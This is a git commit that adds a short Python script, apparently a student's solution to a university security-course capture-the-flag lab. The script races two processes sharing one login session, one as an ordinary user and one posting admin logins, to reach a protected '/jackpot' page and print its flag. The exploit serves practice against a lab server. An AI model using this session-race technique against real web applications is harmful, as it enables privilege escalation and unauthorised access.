This commit is contained in:
2025-11-27 19:11:06 +00:00
parent d2382a36dc
commit 063094f2a2
7 changed files with 400 additions and 3 deletions

24
pa/lab3/chall_jackpot.py Normal file
View File

@@ -0,0 +1,24 @@
from grequests import Session
from sys import argv
from os import fork
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
sesh = Session()
sesh.get(BASE+"/login")
pid = fork()
if pid == 0:
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
while True:
resp = sesh.get(BASE+"/jackpot")
if b"SSof{" in resp.content:
print(resp.content)
exit(0)
else:
i = 0
while True:
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
print(i)
i += 1